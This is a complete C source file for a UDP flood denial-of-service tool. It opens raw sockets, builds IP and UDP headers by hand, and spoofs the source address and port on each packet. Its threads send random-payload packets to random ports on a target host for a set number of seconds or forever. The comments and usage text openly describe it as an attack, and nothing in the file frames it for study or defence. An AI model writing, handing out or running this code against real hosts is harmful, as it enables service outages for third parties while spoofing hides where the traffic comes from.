#include <arpa/inet.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>

/* config defines */
#define DEFAULT_DELAY 0
#define DEFAULT_PACKET_SIZE 1024
#define DEFAULT_THREADS 40

/* function prototypes */
void* udpflood_thread(void*);
void* kill_thread(void*);
void handle_signal(int);
int dns_resolve(char*, struct in_addr*);
void print_usage(char*);

struct udpflood_args {
  unsigned char running;
  in_addr_t address;
  size_t packet_size;
};

struct udpflood_args thread_args;

/* used for arg passes */
char *size_suffixes[] = { "B", "KB", "GB", "TB", "PB", "EB" };

int main(int argc, char *argv[]) {
  int i, status;

  time_t delay = DEFAULT_DELAY;
  size_t packet_size = DEFAULT_PACKET_SIZE;
  int threads = DEFAULT_THREADS;

  /* parse args */
  int flag;
  int flags = 1;
  while((flag = getopt(argc, argv, "d:s:t:")) != -1) {
    switch(flag) {
      case 'd':
        delay = (time_t) atoi(optarg);
        break;
      case 's':
        packet_size = (size_t) atoi(optarg);
        break;
      case 't':
        threads = atoi(optarg);
        break;
      case '?':
        exit(EXIT_FAILURE);
        break;
    }
    flags++;
  }

  /* make sure a target address was provided */
  if(argc - flags < 1) {
    printf("%s: Missing Address!\n", argv[0]);
    print_usage(argv[0]);
    exit(EXIT_FAILURE);
  }

  /* check if the target is an IP address, otherwise, attempt DNS name resolution */
  char* address_string = argv[argc - 1];
  struct in_addr address;
  status = inet_aton(address_string, &address);
  if(status == 0) {
    status = dns_resolve(address_string, &address);
    if(status == -1) {
      printf("%s: Invalid Address!\n", argv[0]);
      print_usage(argv[0]);
      exit(EXIT_FAILURE);
    }
  }

  /* seed the random number generator */
  srand(time(NULL));
  /* setup a signal handler for SIGINT so we can do a clean shutdown */
  signal(SIGINT, handle_signal);

  /* prepare parameters for the worker threads */
  thread_args.address = address.s_addr;
  thread_args.packet_size = packet_size;
  thread_args.running = 1;

  printf("Flooding %s (%s)\n", address_string, inet_ntoa(address));
  if(delay == 0) {
    printf("  Duration: Forever\n");
  } else {
    printf("  Duration: %d seconds\n", (int) delay);
  }
  printf("  Threads: %d\n", threads);
  i = 0;
  size_t size = packet_size;
  while(size >= 1024) {
    size /= 1024;
    i++;
  }
  if(i < (sizeof(size_suffixes) / sizeof(char*))) {
    printf("  Packet Size: %zu%s\n", size, size_suffixes[i]);
  } else {
    printf("  Packet Size: %zu%s\n", packet_size, size_suffixes[0]);
  }

  /* record the start time (for reporting attack duration) */
  time_t start_time = time(NULL);

  /* now, we create the worker threads that will carry out the attack */
  pthread_t tids[threads];
  for(i = 0; i < threads; i++) {
    pthread_create(&tids[i], NULL, &udpflood_thread, &thread_args);
  }

  /* run the attack for the specified time, if any */
  time_t end_time = time(NULL) + delay;
  unsigned char infinite_delay = 0;
  if(delay <= 0) infinite_delay = 1;
  while(time(NULL) < end_time || infinite_delay && thread_args.running);

  /* cleanup and kill the remaining threads */
  printf("Ending attack...\n");
  if(infinite_delay) printf("Attacked for %d seconds\n", (int) (time(NULL) - start_time));
  pthread_t kill_tid;
  pthread_create(&kill_tid, NULL, &kill_thread, NULL);
  thread_args.running = 0;
  for(i = 0; i < threads; i++) {
    pthread_join(tids[i], NULL);
  }
  exit(EXIT_SUCCESS);
}

/* main worker thread */
void* udpflood_thread(void* args_ptr) {
  int i, status;

  struct udpflood_args* args = (struct udpflood_args*) args_ptr;

  /* create a raw socket */
  int sock_fd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
  if(sock_fd < 0) return NULL;
  /* tell the kernel we will be composing the IP header ourselves */
  int val = 1;
  int* ptr = &val;
  status = setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(val));
  if(status < 0) return NULL;

  /* self-explanatory */
  struct ip_header {
    unsigned char  ihl;
    unsigned char  tos;
    unsigned short len;
    unsigned short ident;
    unsigned short offset;
    unsigned char  ttl;
    unsigned char  protocol;
    unsigned short checksum;
    unsigned int   source;
    unsigned int   dest;
  };

  struct udp_header {
    unsigned short source_port;
    unsigned short dest_port;
    unsigned short len;
    unsigned short checksum;
  };

  /* allocate memory for packet buffer */
  void* packet = malloc(sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size);
  /* clear the packet buffer */
  memset(packet, 0, sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size);
  /* pointers to the headers within the buffer */
  struct ip_header* ip = (struct ip_header*) packet;
  struct udp_header* udp = (struct udp_header*) (packet + sizeof(struct ip_header));
  unsigned char* data = packet + sizeof(struct ip_header) + sizeof(struct udp_header);
  /* fill the data portion of the packet with random bytes */
  for(i = 0; i < args->packet_size; i++) data[i] = rand();

  /* populate the IP header */
  ip->ihl = 5 | (4 << 4);
  ip->tos = 46 << 2;
  ip->len = sizeof(struct ip_header) + sizeof(struct udp_header) + args->packet_size;
  ip->ident = htons(rand());
  ip->ttl = 64;
  ip->protocol = 17;
  ip->dest = args->address;

  /* populate the UDP header */
  udp->len = htons(sizeof(struct udp_header) + args->packet_size);

  /* prepare a destination address (necessary for raw sockets) */
  struct sockaddr_in addr;
  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = args->address;

  /* main loop, continually send UDP packets to the target */
  while(args->running) {
    /* send to a random port on the target host */
    unsigned short dest_port = rand();
    udp->dest_port = htons(dest_port);
    addr.sin_port = htons(dest_port);
    /* spoof the source address and port for each packet sent */
    ip->source = htons(rand());
    udp->source_port = htons(rand());
    /* zero the checksum field (the kernel will calculate the sum for us anyway) */
    ip->checksum = 0;
    /* finally send the packet */
    sendto(sock_fd, packet, ip->len, 0, (struct sockaddr*) &addr, sizeof(addr));
  }

  /* cleanup and return when the main thread signals shutdown */
  free(packet);
  close(sock_fd);
}

/* failsafe to ensure process termination */
void* kill_thread(void* args_ptr) {
  time_t end_time = time(NULL) + 5;
  while(time(NULL) < end_time);
  printf("Failed to close threads! Terminating...\n");
  exit(EXIT_SUCCESS);
}

/* signal handler for SIGINT */
void handle_signal(int signal) {
  if(signal == SIGINT) {
    printf("\nCaught SIGINT\n");
    thread_args.running = 0;
  }
}

int dns_resolve(char* name, struct in_addr* address) {
  struct hostent *he;
  he = gethostbyname(name);
  if(he == NULL) return -1;
  in_addr_t **addr = (in_addr_t**) he->h_addr_list;
  address->s_addr = *addr[0];
  return 0;
}

void print_usage(char* command) {
  printf("Usage: %s [ -d seconds ] [ -s bytes ] [ -t threads ] <address>\n", command);
  printf("\n");
  printf("  -d seconds                Sets the duration of the attack in seconds.\n");
  printf("  -s bytes                  Overrides the default packet size in bytes.\n");
  printf("  -t threads                Specifies the number of threads for the attack.\n");
  printf("\n");
}